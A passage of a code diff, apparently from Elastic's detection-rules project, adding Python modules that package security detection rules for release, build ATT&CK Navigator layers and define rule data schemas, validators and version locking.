entry.technique: + for technique_entry in entry.technique: + technique_id = technique_entry.id + self.process_rule(rule, tactic, technique_id) + + if technique_entry.subtechnique: + for sub in technique_entry.subtechnique: + self.process_rule(rule, tactic, sub.id) + + def build_navigator(self, layer_name: str, layer_key: Optional[str] = None) -> Navigator: + populated_techniques = [] + layer = self.get_layer(layer_name, layer_key) + base_name = f'{layer_name}-{layer_key}' if layer_key else layer_name + base_name = base_name.replace('*', 'WILDCARD') + name = f'Elastic-detection-rules-{base_name}' + + for tactic, techniques in layer.items(): + tactic_normalized = '-'.join(tactic.lower().split()) + for technique_id, rules_data in techniques.items(): + rules_data.update(tactic=tactic_normalized, techniqueID=technique_id) + techniques = Techniques.from_dict(rules_data) + + populated_techniques.append(techniques.to_dict()) + + base_nav_obj = { + 'name': name, + 'techniques': populated_techniques, + 'versions': {'attack': CURRENT_ATTACK_VERSION} + } + navigator = Navigator.from_dict(base_nav_obj) + return navigator + + def build_all(self) -> List[Navigator]: + built = [] + + for layer_name, data in self.layers.items(): + # this is a single layer + if 'defense evasion' in data: + built.append(self.build_navigator(layer_name)) + else: + # multi layers + for layer_key, sub_data in data.items(): + built.append(self.build_navigator(layer_name, layer_key)) + + return built + + @staticmethod + def _save(built: Navigator, directory: Path, verbose=True) -> Path: + path = directory.joinpath(built.name).with_suffix('.json') + path.write_text(json.dumps(built.to_dict(), indent=2)) + + if verbose: + print(f'saved: {path}') + return path + + def save_layer(self, + layer_name: str, + directory: Path, + layer_key: Optional[str] = None, + verbose=True + ) -> (Path, dict): + built = self.build_navigator(layer_name, layer_key) + return self._save(built, directory, verbose), built + + def save_all(self, directory: Path, verbose=True) -> Dict[Path, Navigator]: + paths = {} + + for built in self.build_all(): + path = self._save(built, directory, verbose) + paths[path] = built + + return paths diff --git a/detection_rules/packaging.py b/detection_rules/packaging.py new file mode 100644 index 000000000..790070256 --- /dev/null +++ b/detection_rules/packaging.py @@ -0,0 +1,481 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Packaging and preparation for releases.""" +import base64 +import datetime +import hashlib +import json +import os +import shutil +import textwrap +from collections import defaultdict +from pathlib import Path +from typing import Dict, Optional, Tuple + +import click +import yaml + +from .misc import JS_LICENSE, cached +from .navigator import NavigatorBuilder, Navigator +from .rule import TOMLRule, QueryRuleData, ThreatMapping +from .rule_loader import DeprecatedCollection, RuleCollection, DEFAULT_RULES_DIR +from .schemas import definitions +from .utils import Ndjson, get_path, get_etc_path, load_etc_dump +from .version_lock import default_version_lock + +RELEASE_DIR = get_path("releases") +PACKAGE_FILE = get_etc_path('packages.yml') +NOTICE_FILE = get_path('NOTICE.txt') +FLEET_PKG_LOGO = get_etc_path("security-logo-color-64px.svg") + + +# CHANGELOG_FILE = Path(get_etc_path('rules-changelog.json')) + + +def filter_rule(rule: TOMLRule, config_filter: dict, exclude_fields: Optional[dict] = None) -> bool: + """Filter a rule based off metadata and a package configuration.""" + flat_rule = rule.contents.flattened_dict() + + for key, values in config_filter.items(): + if key not in flat_rule: + return False + + values = set([v.lower() if isinstance(v, str) else v for v in values]) + rule_value = flat_rule[key] + + if isinstance(rule_value, list): + rule_values = {v.lower() if isinstance(v, str) else v for v in rule_value} + else: + rule_values = {rule_value.lower() if isinstance(rule_value, str) else rule_value} + + if len(rule_values & values) == 0: + return False + + exclude_fields = exclude_fields or {} + if exclude_fields: + from .rule import get_unique_query_fields + + unique_fields = get_unique_query_fields(rule) + + for index, fields in exclude_fields.items(): + if unique_fields and (rule.contents.data.index == index or index == 'any'): + if set(unique_fields) & set(fields): + return False + + return True + + +@cached +def load_current_package_version() -> str: + """Load the current package version from config file.""" + return load_etc_dump('packages.yml')['package']['name'] + + +CURRENT_RELEASE_PATH = Path(RELEASE_DIR) / load_current_package_version() + + +class Package(object): + """Packaging object for siem rules and releases.""" + + def __init__(self, rules: RuleCollection, name: str, release: Optional[bool] = False, + min_version: Optional[int] = None, max_version: Optional[int] = None, + registry_data: Optional[dict] = None, verbose: Optional[bool] = True, + generate_navigator: bool = False): + """Initialize a package.""" + self.name = name + self.rules = rules + self.deprecated_rules: DeprecatedCollection = rules.deprecated + self.release = release + self.registry_data = registry_data or {} + self.generate_navigator = generate_navigator + + if min_version is not None: + self.rules = self.rules.filter(lambda r: min_version <= r.contents.latest_version) + + if max_version is not None: + self.rules = self.rules.filter(lambda r: max_version >= r.contents.latest_version) + + self.changed_ids, self.new_ids, self.removed_ids = \ + default_version_lock.manage_versions(self.rules, verbose=verbose, save_changes=False) + + @classmethod + def load_configs(cls): + """Load configs from packages.yml.""" + return load_etc_dump(PACKAGE_FILE)['package'] + + @staticmethod + def _package_kibana_notice_file(save_dir): + """Convert and save notice file with package.""" + with open(NOTICE_FILE, 'rt') as f: + notice_txt = f.read() + + with open(os.path.join(save_dir, 'notice.ts'), 'wt') as f: + commented_notice = [f' * {line}'.rstrip() for line in notice_txt.splitlines()] + lines = ['/* eslint-disable @kbn/eslint/require-license-header */', '', '/* @notice'] + lines = lines + commented_notice + [' */', ''] + f.write('\n'.join(lines)) + + def _package_kibana_index_file(self, save_dir): + """Convert and save index file with package.""" + sorted_rules = sorted(self.rules, key=lambda k: (k.contents.metadata.creation_date, os.path.basename(k.path))) + comments = [ + '// Auto generated file from either:', + '// - scripts/regen_prepackage_rules_index.sh', + '// - detection-rules repo using CLI command build-release', + '// Do not hand edit. Run script/command to regenerate package information instead', + ] + rule_imports = [f"import rule{i} from './{os.path.splitext(os.path.basename(r.path))[0] + '.json'}';" + for i, r in enumerate(sorted_rules, 1)] + const_exports = ['export const rawRules = ['] + const_exports.extend(f" rule{i}," for i, _ in enumerate(sorted_rules, 1)) + const_exports.append("];") + const_exports.append("") + + index_ts = [JS_LICENSE, ""] + index_ts.extend(comments) + index_ts.append("") + index_ts.extend(rule_imports) + index_ts.append("") + index_ts.extend(const_exports) + + with open(os.path.join(save_dir, 'index.ts'), 'wt') as f: + f.write('\n'.join(index_ts)) + + def save_release_files(self, directory: str, changed_rules: list, new_rules: list, removed_rules: list): + """Release a package.""" + summary, changelog = self.generate_summary_and_changelog(changed_rules, new_rules, removed_rules) + with open(os.path.join(directory, f'{self.name}-summary.txt'), 'w') as f: + f.write(summary) + with open(os.path.join(directory, f'{self.name}-changelog-entry.md'), 'w') as f: + f.write(changelog) + + if self.generate_navigator: + self.generate_attack_navigator(Path(directory)) + + consolidated = json.loads(self.get_consolidated()) + with open(os.path.join(directory, f'{self.name}-consolidated-rules.json'), 'w') as f: + json.dump(consolidated, f, sort_keys=True, indent=2) + consolidated_rules = Ndjson(consolidated) + consolidated_rules.dump(Path(directory).joinpath(f'{self.name}-consolidated-rules.ndjson'), sort_keys=True) + + self.generate_xslx(os.path.join(directory, f'{self.name}-summary.xlsx')) + + bulk_upload, rules_ndjson = self.create_bulk_index_body() + bulk_upload.dump(Path(directory).joinpath(f'{self.name}-enriched-rules-index-uploadable.ndjson'), + sort_keys=True) + rules_ndjson.dump(Path(directory).joinpath(f'{self.name}-enriched-rules-index-importable.ndjson'), + sort_keys=True) + + def get_consolidated(self, as_api=True): + """Get a consolidated package of the rules in a single file.""" + full_package = [] + for rule in self.rules: + full_package.append(rule.contents.to_api_format() if as_api else rule.contents.to_dict()) + + return json.dumps(full_package, sort_keys=True) + + def save(self, verbose=True): + """Save a package and all artifacts.""" + save_dir = os.path.join(RELEASE_DIR, self.name) + rules_dir = os.path.join(save_dir, 'rules') + extras_dir = os.path.join(save_dir, 'extras') + + # remove anything that existed before + shutil.rmtree(save_dir, ignore_errors=True) + os.makedirs(rules_dir, exist_ok=True) + os.makedirs(extras_dir, exist_ok=True) + + for rule in self.rules: + rule.save_json(Path(rules_dir).joinpath(rule.path.name).with_suffix('.json')) + + self._package_kibana_notice_file(rules_dir) + self._package_kibana_index_file(rules_dir) + + if self.release: + self._generate_registry_package(save_dir) + self.save_release_files(extras_dir, self.changed_ids, self.new_ids, self.removed_ids) + + # zip all rules only and place in extras + shutil.make_archive(os.path.join(extras_dir, self.name), 'zip', root_dir=os.path.dirname(rules_dir), + base_dir=os.path.basename(rules_dir)) + + # zip everything and place in release root + shutil.make_archive(os.path.join(save_dir, '{}-all'.format(self.name)), 'zip', + root_dir=os.path.dirname(extras_dir), base_dir=os.path.basename(extras_dir)) + + if verbose: + click.echo('Package saved to: {}'.format(save_dir)) + + def export(self, outfile, downgrade_version=None, verbose=True, skip_unsupported=False): + """Export rules into a consolidated ndjson file.""" + from .main import _export_rules + + _export_rules(self.rules, outfile=outfile, downgrade_version=downgrade_version, verbose=verbose, + skip_unsupported=skip_unsupported) + + def get_package_hash(self, as_api=True, verbose=True): + """Get hash of package contents.""" + contents = base64.b64encode(self.get_consolidated(as_api=as_api).encode('utf-8')) + sha256 = hashlib.sha256(contents).hexdigest() + + if verbose: + click.echo('- sha256: {}'.format(sha256)) + + return sha256 + + @classmethod + def from_config(cls, config: dict = None, verbose: bool = False) -> 'Package': + """Load a rules package given a config.""" + all_rules = RuleCollection.default() + config = config or {} + exclude_fields = config.pop('exclude_fields', {}) + # deprecated rules are now embedded in the RuleCollection.deprecated - this is left here for backwards compat + config.pop('log_deprecated', False) + rule_filter = config.pop('filter', {}) + + rules = all_rules.filter(lambda r: filter_rule(r, rule_filter, exclude_fields)) + + # add back in deprecated fields + rules.deprecated = all_rules.deprecated + + if verbose: + click.echo(f' - {len(all_rules) - len(rules)} rules excluded from package') + + package = cls(rules, verbose=verbose, **config) + + return package + + def generate_summary_and_changelog(self, changed_rule_ids, new_rule_ids, removed_rules): + """Generate stats on package.""" + from string import ascii_lowercase, ascii_uppercase + + summary = { + 'changed': defaultdict(list), + 'added': defaultdict(list), + 'removed': defaultdict(list), + 'unchanged': defaultdict(list) + } + changelog = { + 'changed': defaultdict(list), + 'added': defaultdict(list), + 'removed': defaultdict(list), + 'unchanged': defaultdict(list) + } + + # build an index map first + longest_name = 0 + indexes = set() + for rule in self.rules: + longest_name = max(longest_name, len(rule.name)) + index_list = getattr(rule.contents.data, "index", []) + if index_list: + indexes.update(index_list) + + letters = ascii_uppercase + ascii_lowercase + index_map = {index: letters[i] for i, index in enumerate(sorted(indexes))} + + def get_summary_rule_info(r: TOMLRule): + r = r.contents + rule_str = f'{r.name:<{longest_name}} (v:{r.autobumped_version} t:{r.data.type}' + if isinstance(rule.contents.data, QueryRuleData): + rule_str += f'-{r.data.language}' + rule_str += f'(indexes:{"".join(index_map[idx] for idx in rule.contents.data.index) or "none"}' + + return rule_str + + def get_markdown_rule_info(r: TOMLRule, sd): + # lookup the rule in the GitHub tag v{major.minor.patch} + data = r.contents.data + rules_dir_link = f'https://github.com/elastic/detection-rules/tree/v{self.name}/rules/{sd}/' + rule_type = data.language if isinstance(data, QueryRuleData) else data.type + return f'`{r.id}` **[{r.name}]({rules_dir_link + os.path.basename(str(r.path))})** (_{rule_type}_)' + + for rule in self.rules: + sub_dir = os.path.basename(os.path.dirname(rule.path)) + + if rule.id in changed_rule_ids: + summary['changed'][sub_dir].append(get_summary_rule_info(rule)) + changelog['changed'][sub_dir].append(get_markdown_rule_info(rule, sub_dir)) + elif rule.id in new_rule_ids: + summary['added'][sub_dir].append(get_summary_rule_info(rule)) + changelog['added'][sub_dir].append(get_markdown_rule_info(rule, sub_dir)) + else: + summary['unchanged'][sub_dir].append(get_summary_rule_info(rule)) + changelog['unchanged'][sub_dir].append(get_markdown_rule_info(rule, sub_dir)) + + for rule in self.deprecated_rules: + sub_dir = os.path.basename(os.path.dirname(rule.path)) + + if rule.id in removed_rules: + summary['removed'][sub_dir].append(rule.name) + changelog['removed'][sub_dir].append(rule.name) + + def format_summary_rule_str(rule_dict): + str_fmt = '' + for sd, rules in sorted(rule_dict.items(), key=lambda x: x[0]): + str_fmt += f'\n{sd} ({len(rules)})\n' + str_fmt += '\n'.join(' - ' + s for s in sorted(rules)) + return str_fmt or '\nNone' + + def format_changelog_rule_str(rule_dict): + str_fmt = '' + for sd, rules in sorted(rule_dict.items(), key=lambda x: x[0]): + str_fmt += f'\n- **{sd}** ({len(rules)})\n' + str_fmt += '\n'.join(' - ' + s for s in sorted(rules)) + return str_fmt or '\nNone' + + def rule_count(rule_dict): + count = 0 + for _, rules in rule_dict.items(): + count += len(rules) + return count + + today = str(datetime.date.today()) + summary_fmt = [f'{sf.capitalize()} ({rule_count(summary[sf])}): \n{format_summary_rule_str(summary[sf])}\n' + for sf in ('added', 'changed', 'removed', 'unchanged') if summary[sf]] + + change_fmt = [f'{sf.capitalize()} ({rule_count(changelog[sf])}): \n{format_changelog_rule_str(changelog[sf])}\n' + for sf in ('added', 'changed', 'removed') if changelog[sf]] + + summary_str = '\n'.join([ + f'Version {self.name}', + f'Generated: {today}', + f'Total Rules: {len(self.rules)}', + f'Package Hash: {self.get_package_hash(verbose=False)}', + '---', + '(v: version, t: rule_type-language)', + 'Index Map:\n{}'.format("\n".join(f" {v}: {k}" for k, v in index_map.items())), + '', + 'Rules', + *summary_fmt + ]) + + changelog_str = '\n'.join([ + f'# Version {self.name}', + f'_Released {today}_', + '', + '### Rules', + *change_fmt, + '', + '### CLI' + ]) + + return summary_str, changelog_str + + def generate_attack_navigator(self, path: Path) -> Dict[Path, Navigator]: + """Generate ATT&CK navigator layer files.""" + save_dir = path / 'navigator_layers' + save_dir.mkdir() + lb = NavigatorBuilder(self.rules.rules) + return lb.save_all(save_dir, verbose=False) + + def generate_xslx(self, path): + """Generate a detailed breakdown of a package in an excel file.""" + from .docs import PackageDocument + + doc = PackageDocument(path, self) + doc.populate() + doc.close() + + def _generate_registry_package(self, save_dir): + """Generate the artifact for the oob package-storage.""" + from .schemas.registry_package import RegistryPackageManifest + + manifest = RegistryPackageManifest.from_dict(self.registry_data) + + package_dir = Path(save_dir) / 'fleet' / manifest.version + docs_dir = package_dir / 'docs' + rules_dir = package_dir / 'kibana' / definitions.ASSET_TYPE + + docs_dir.mkdir(parents=True) + rules_dir.mkdir(parents=True) + + manifest_file = package_dir / 'manifest.yml' + readme_file = docs_dir / 'README.md' + notice_file = package_dir / 'NOTICE.txt' + logo_file = package_dir / 'img' / 'security-logo-color-64px.svg' + + manifest_file.write_text(yaml.safe_dump(manifest.to_dict())) + + logo_file.parent.mkdir(parents=True) + shutil.copyfile(FLEET_PKG_LOGO, logo_file) + # shutil.copyfile(CHANGELOG_FILE, str(rules_dir.joinpath('CHANGELOG.json'))) + + for rule in self.rules: + asset_path = rules_dir / f'{rule.id}.json' + asset_path.write_text(json.dumps(rule.get_asset(), indent=4, sort_keys=True), encoding="utf-8") + + notice_contents = Path(NOTICE_FILE).read_text() + readme_text = textwrap.dedent(""" + # Prebuilt Security Detection Rules + + The detection rules package stores the prebuilt security rules for the Elastic Security [detection engine](https://www.elastic.co/guide/en/security/7.13/detection-engine-overview.html). + + To download or update the rules, click **Settings** > **Install Prebuilt Security Detection Rules assets**. + Then [import](https://www.elastic.co/guide/en/security/master/rules-ui-management.html#load-prebuilt-rules) + the rules into the Detection engine. + + ## License Notice + + """).lstrip() # noqa: E501 + + # notice only needs to be appended to the README for 7.13.x + # in 7.14+ there's a separate modal to display this + if self.name == "7.13": + textwrap.indent(notice_contents, prefix=" ") + + readme_file.write_text(readme_text) + notice_file.write_text(notice_contents) + + def create_bulk_index_body(self) -> Tuple[Ndjson, Ndjson]: + """Create a body to bulk index into a stack.""" + package_hash = self.get_package_hash(verbose=False) + now = datetime.datetime.isoformat(datetime.datetime.utcnow()) + create = {'create': {'_index': f'rules-repo-{self.name}-{package_hash}'}} + + # first doc is summary stats + summary_doc = { + 'group_hash': package_hash, + 'package_version': self.name, + 'rule_count': len(self.rules), + 'rule_ids': [], + 'rule_names': [], + 'rule_hashes': [], + 'source': 'repo', + 'details': {'datetime_uploaded': now} + } + bulk_upload_docs = Ndjson([create, summary_doc]) + importable_rules_docs = Ndjson() + + for rule in self.rules: + summary_doc['rule_ids'].append(rule.id) + summary_doc['rule_names'].append(rule.name) + summary_doc['rule_hashes'].append(rule.contents.sha256()) + + if rule.id in self.new_ids: + status = 'new' + elif rule.id in self.changed_ids: + status = 'modified' + else: + status = 'unmodified' + + bulk_upload_docs.append(create) + rule_doc = dict(hash=rule.contents.sha256(), + source='repo', + datetime_uploaded=now, + status=status, + package_version=self.name, + flat_mitre=ThreatMapping.flatten(rule.contents.data.threat).to_dict(), + relative_path=str(rule.path.resolve().relative_to(DEFAULT_RULES_DIR))) + bulk_upload_docs.append(rule_doc) + importable_rules_docs.append(rule_doc) + + return bulk_upload_docs, importable_rules_docs + + +@cached +def current_stack_version() -> str: + return Package.load_configs()['name'] diff --git a/detection_rules/rule.py b/detection_rules/rule.py new file mode 100644 index 000000000..8d1fe7eb8 --- /dev/null +++ b/detection_rules/rule.py @@ -0,0 +1,654 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. +"""Rule object.""" +import copy +import dataclasses +import json +import typing +from abc import ABC, abstractmethod +from dataclasses import dataclass, field +from functools import cached_property +from pathlib import Path +from typing import Literal, Union, Optional, List, Any, Dict +from uuid import uuid4 + +import eql +from marshmallow import ValidationError, validates_schema + +import kql +from . import utils +from .mixins import MarshmallowDataclassMixin +from .rule_formatter import toml_write, nested_normalize +from .schemas import SCHEMA_DIR, definitions, downgrade, get_stack_schemas +from .utils import cached + +_META_SCHEMA_REQ_DEFAULTS = {} +MIN_FLEET_PACKAGE_VERSION = '7.13.0' + + +@dataclass(frozen=True) +class RuleMeta(MarshmallowDataclassMixin): + """Data stored in a rule's [metadata] section of TOML.""" + creation_date: definitions.Date + updated_date: definitions.Date + deprecation_date: Optional[definitions.Date] + + # Optional fields + comments: Optional[str] + integration: Optional[str] + maturity: Optional[definitions.Maturity] + min_stack_version: Optional[definitions.SemVer] + min_stack_comments: Optional[str] + os_type_list: Optional[List[definitions.OSType]] + query_schema_validation: Optional[bool] + related_endpoint_rules: Optional[List[str]] + + # Extended information as an arbitrary dictionary + extended: Optional[Dict[str, Any]] + + def get_validation_stack_versions(self) -> Dict[str, dict]: + """Get a dict of beats and ecs versions per stack release.""" + stack_versions = get_stack_schemas(self.min_stack_version or MIN_FLEET_PACKAGE_VERSION) + return stack_versions + + +@dataclass(frozen=True) +class BaseThreatEntry: + id: str + name: str + reference: str + + +@dataclass(frozen=True) +class SubTechnique(BaseThreatEntry): + """Mapping to threat subtechnique.""" + reference: definitions.SubTechniqueURL + + +@dataclass(frozen=True) +class Technique(BaseThreatEntry): + """Mapping to threat subtechnique.""" + # subtechniques are stored at threat[].technique.subtechnique[] + reference: definitions.TechniqueURL + subtechnique: Optional[List[SubTechnique]] + + +@dataclass(frozen=True) +class Tactic(BaseThreatEntry): + """Mapping to a threat tactic.""" + reference: definitions.TacticURL + + +@dataclass(frozen=True) +class ThreatMapping(MarshmallowDataclassMixin): + """Mapping to a threat framework.""" + framework: Literal["MITRE ATT&CK"] + tactic: Tactic + technique: Optional[List[Technique]] + + @staticmethod + def flatten(threat_mappings: Optional[List]) -> 'FlatThreatMapping': + """Get flat lists of tactic and technique info.""" + tactic_names = [] + tactic_ids = [] + technique_ids = set() + technique_names = set() + sub_technique_ids = set() + sub_technique_names = set() + + for entry in (threat_mappings or []): + tactic_names.append(entry.tactic.name) + tactic_ids.append(entry.tactic.id) + + for technique in (entry.technique or []): + technique_names.add(technique.name) + technique_ids.add(technique.id) + + for subtechnique in (technique.subtechnique or []): + sub_technique_ids.add(subtechnique.id) + sub_technique_names.add(subtechnique.name) + + return FlatThreatMapping( + tactic_names=sorted(tactic_names), + tactic_ids=sorted(tactic_ids), + technique_names=sorted(technique_names), + technique_ids=sorted(technique_ids), + sub_technique_names=sorted(sub_technique_names), + sub_technique_ids=sorted(sub_technique_ids) + ) + + +@dataclass(frozen=True) +class RiskScoreMapping(MarshmallowDataclassMixin): + field: str + operator: Optional[definitions.Operator] + value: Optional[str] + + +@dataclass(frozen=True) +class SeverityMapping(MarshmallowDataclassMixin): + field: str + operator: Optional[definitions.Operator] + value: Optional[str] + severity: Optional[str] + + +@dataclass(frozen=True) +class FlatThreatMapping(MarshmallowDataclassMixin): + tactic_names: List[str] + tactic_ids: List[str] + technique_names: List[str] + technique_ids: List[str] + sub_technique_names: List[str] + sub_technique_ids: List[str] + + +@dataclass(frozen=True) +class BaseRuleData(MarshmallowDataclassMixin): + actions: Optional[list] + author: List[str] + building_block_type: Optional[str] + description: str + enabled: Optional[bool] + exceptions_list: Optional[list] + license: Optional[str] + false_positives: Optional[List[str]] + filters: Optional[List[dict]] + # trailing `_` required since `from` is a reserved word in python + from_: Optional[str] = field(metadata=dict(data_key="from")) + + interval: Optional[definitions.Interval] + max_signals: Optional[definitions.MaxSignals] + meta: Optional[Dict[str, Any]] + name: definitions.RuleName + note: Optional[definitions.Markdown] + # can we remove this comment? + # explicitly NOT allowed! + # output_index: Optional[str] + references: Optional[List[str]] + risk_score: definitions.RiskScore + risk_score_mapping: Optional[List[RiskScoreMapping]] + rule_id: definitions.UUIDString + rule_name_override: Optional[str] + severity_mapping: Optional[List[SeverityMapping]] + severity: definitions.Severity + tags: Optional[List[str]] + throttle: Optional[str] + timeline_id: Optional[definitions.TimelineTemplateId] + timeline_title: Optional[definitions.TimelineTemplateTitle] + timestamp_override: Optional[str] + to: Optional[str] + type: definitions.RuleType + threat: Optional[List[ThreatMapping]] + + @classmethod + def save_schema(cls): + """Save the schema as a jsonschema.""" + fields: List[dataclasses.Field] = dataclasses.fields(cls) + type_field = next(f for f in fields if f.name == "type") + rule_type = typing.get_args(type_field.type)[0] if cls != BaseRuleData else "base" + schema = cls.jsonschema() + version_dir = SCHEMA_DIR / "master" + version_dir.mkdir(exist_ok=True, parents=True) + + # expand out the jsonschema definitions + with (version_dir / f"master.{rule_type}.json").open("w") as f: + json.dump(schema, f, indent=2, sort_keys=True) + + def validate_query(self, meta: RuleMeta) -> None: + pass + + +@dataclass +class QueryValidator: + query: str + + @property + def ast(self) -> Any: + raise NotImplementedError + + def validate(self, data: 'QueryRuleData', meta: RuleMeta) -> None: + raise NotImplementedError() + + +@dataclass(frozen=True) +class QueryRuleData(BaseRuleData): + """Specific fields for query event types.""" + type: Literal["query"] + + index: Optional[List[str]] + query: str + language: definitions.FilterLanguages + + @cached_property + def validator(self) -> Optional[QueryValidator]: + if self.language == "kuery": + return KQLValidator(self.query) + elif self.language == "eql": + return EQLValidator(self.query) + + def validate_query(self, meta: RuleMeta) -> None: + validator = self.validator + if validator is not None: + return validator.validate(self, meta) + + @cached_property + def ast(self): + validator = self.validator + if validator is not None: + return validator.ast + + +@dataclass(frozen=True) +class MachineLearningRuleData(BaseRuleData): + type: Literal["machine_learning"] + + anomaly_threshold: int + machine_learning_job_id: Union[str, List[str]] + + +@dataclass(frozen=True) +class ThresholdQueryRuleData(QueryRuleData): + """Specific fields for query event types.""" + + @dataclass(frozen=True) + class ThresholdMapping(MarshmallowDataclassMixin): + @dataclass(frozen=True) + class ThresholdCardinality: + field: str + value: definitions.ThresholdValue + + field: definitions.CardinalityFields + value: definitions.ThresholdValue + cardinality: Optional[List[ThresholdCardinality]] + + type: Literal["threshold"] + threshold: ThresholdMapping + + +@dataclass(frozen=True) +class EQLRuleData(QueryRuleData): + """EQL rules are a special case of query rules.""" + type: Literal["eql"] + language: Literal["eql"] + + @staticmethod + def convert_time_span(span: str) -> int: + """Convert time span in datemath to value in milliseconds.""" + amount = int("".join(char for char in span if char.isdigit())) + unit = eql.ast.TimeUnit("".join(char for char in span if char.isalpha())) + return eql.ast.TimeRange(amount, unit).as_milliseconds() + + def convert_relative_delta(self, lookback: str) -> int: + now = len("now") + min_length = now + len('+5m') + + if lookback.startswith("now") and len(lookback) >= min_length: + lookback = lookback[len("now"):] + sign = lookback[0] # + or - + span = lookback[1:] + amount = self.convert_time_span(span) + return amount * (-1 if sign == "-" else 1) + else: + return self.convert_time_span(lookback) + + @cached_property + def max_span(self) -> Optional[int]: + """Maxspan value for sequence rules if defined.""" + if eql.utils.get_query_type(self.ast) == 'sequence' and hasattr(self.ast.first, 'max_span'): + return self.ast.first.max_span.as_milliseconds() if self.ast.first.max_span else None + + @cached_property + def look_back(self) -> Optional[Union[int, Literal['unknown']]]: + """Lookback value of a rule.""" + # https://www.elastic.co/guide/en/elasticsearch/reference/current/common-options.html#date-math + to = self.convert_relative_delta(self.to) if self.to else 0 + from_ = self.convert_relative_delta(self.from_ or "now-6m") + + if not (to or from_): + return 'unknown' + else: + return to - from_ + + @cached_property + def interval_ratio(self) -> Optional[float]: + """Ratio of interval time window / max_span time window.""" + if self.max_span: + interval = self.convert_time_span(self.interval or '5m') + return interval / self.max_span + + +@dataclass(frozen=True) +class ThreatMatchRuleData(QueryRuleData): + """Specific fields for indicator (threat) match rule.""" + + @dataclass(frozen=True) + class Entries: + + @dataclass(frozen=True) + class ThreatMapEntry: + field: definitions.NonEmptyStr + type: Literal["mapping"] + value: definitions.NonEmptyStr + + entries: List[ThreatMapEntry] + + type: Literal["threat_match"] + + concurrent_searches: Optional[definitions.PositiveInteger] + items_per_search: Optional[definitions.PositiveInteger] + + threat_mapping: List[Entries] + threat_filters: Optional[List[dict]] + threat_query: Optional[str] + threat_language: Optional[definitions.FilterLanguages] + threat_index: List[str] + threat_indicator_path: Optional[str] + + def validate_query(self, meta: RuleMeta) -> None: + super(ThreatMatchRuleData, self).validate_query(meta) + + if self.threat_query: + if not self.threat_language: + raise ValidationError('`threat_language` required when a `threat_query` is defined') + + if self.threat_language == "kuery": + threat_query_validator = KQLValidator(self.threat_query) + elif self.threat_language == "eql": + threat_query_validator = EQLValidator(self.threat_query) + else: + return + + threat_query_validator.validate(self, meta) + + +# All of the possible rule types +# Sort inverse of any inheritance - see comment in TOMLRuleContents.to_dict +AnyRuleData = Union[EQLRuleData, ThresholdQueryRuleData, ThreatMatchRuleData, MachineLearningRuleData, QueryRuleData] + + +class BaseRuleContents(ABC): + """Base contents object for shared methods between active and deprecated rules.""" + + @property + @abstractmethod + def id(self): + pass + + @property + @abstractmethod + def name(self): + pass + + @property + @abstractmethod + def version_lock(self): + pass + + @property + @abstractmethod + def type(self): + pass + + def lock_info(self, bump=True) -> dict: + version = self.autobumped_version if bump else (self.latest_version or 1) + contents = {"rule_name": self.name, "sha256": self.sha256(), "version": version, "type": self.type} + + return contents + + @property + def is_dirty(self) -> Optional[bool]: + """Determine if the rule has changed since its version was locked.""" + existing_sha256 = self.version_lock.get_locked_hash(self.id, self.metadata.get('min_stack_version')) + + if existing_sha256 is not None: + return existing_sha256 != self.sha256() + + @property + def latest_version(self) -> Optional[int]: + """Retrieve the latest known version of the rule.""" + return self.version_lock.get_locked_version(self.id, self.metadata.get('min_stack_version')) + + @property + def autobumped_version(self) -> Optional[int]: + """Retrieve the current version of the rule, accounting for automatic increments.""" + version = self.latest_version + if version is None: + return 1 + + return version + 1 if self.is_dirty else version + + @staticmethod + def _post_dict_transform(obj: dict) -> dict: + """Transform the converted API in place before sending to Kibana.""" + + # cleanup the whitespace in the rule + obj = nested_normalize(obj) + + # fill in threat.technique so it's never missing + for threat_entry in obj.get("threat", []): + threat_entry.setdefault("technique", []) + + return obj + + @abstractmethod + def to_api_format(self, include_version=True) -> dict: + """Convert the rule to the API format.""" + + @cached + def sha256(self, include_version=False) -> str: + # get the hash of the API dict without the version by default, otherwise it'll always be dirty. + hashable_contents = self.to_api_format(include_version=include_version) + return utils.dict_hash(hashable_contents) + + +@dataclass(frozen=True) +class TOMLRuleContents(BaseRuleContents, MarshmallowDataclassMixin): + """Rule object which maps directly to the TOML layout.""" + metadata: RuleMeta + data: AnyRuleData = field(metadata=dict(data_key="rule")) + + @cached_property + def version_lock(self): + # VersionLock + from .version_lock import default_version_lock + + return getattr(self, '_version_lock', None) or default_version_lock + + def set_version_lock(self, value): + from .version_lock import VersionLock + + if value and not isinstance(value, VersionLock): + raise TypeError(f'version lock property must be set with VersionLock objects only. Got {type(value)}') + + # circumvent frozen class + self.__dict__['_version_lock'] = value + + @classmethod + def all_rule_types(cls) -> set: + types = set() + for subclass in typing.get_args(AnyRuleData): + field = next(field for field in dataclasses.fields(subclass) if field.name == "type") + types.update(typing.get_args(field.type)) + + return types + + @classmethod + def get_data_subclass(cls, rule_type: str) -> typing.Type[BaseRuleData]: + """Get the proper subclass depending on the rule type""" + for subclass in typing.get_args(AnyRuleData): + field = next(field for field in dataclasses.fields(subclass) if field.name == "type") + if (rule_type, ) == typing.get_args(field.type): + return subclass + + raise ValueError(f"Unknown rule type {rule_type}") + + @property + def id(self) -> definitions.UUIDString: + return self.data.rule_id + + @property + def name(self) -> str: + return self.data.name + + @property + def type(self) -> str: + return self.data.type + + @validates_schema + def validate_query(self, value: dict, **kwargs): + """Validate queries by calling into the validator for the relevant method.""" + data: AnyRuleData = value["data"] + metadata: RuleMeta = value["metadata"] + + return data.validate_query(metadata) + + def to_dict(self, strip_none_values=True) -> dict: + # Load schemas directly from the data and metadata classes to avoid schema ambiguity which can + # result from union fields which contain classes and related subclasses (AnyRuleData). See issue #1141 + metadata = self.metadata.to_dict(strip_none_values=strip_none_values) + data = self.data.to_dict(strip_none_values=strip_none_values) + dict_obj = dict(metadata=metadata, rule=data) + return nested_normalize(dict_obj) + + def flattened_dict(self) -> dict: + flattened = dict() + flattened.update(self.data.to_dict()) + flattened.update(self.metadata.to_dict()) + return flattened + + def to_api_format(self, include_version=True) -> dict: + """Convert the TOML rule to the API format.""" + converted = self.data.to_dict() + if include_version: + converted["version"] = self.autobumped_version + + converted = self._post_dict_transform(converted) + + return converted 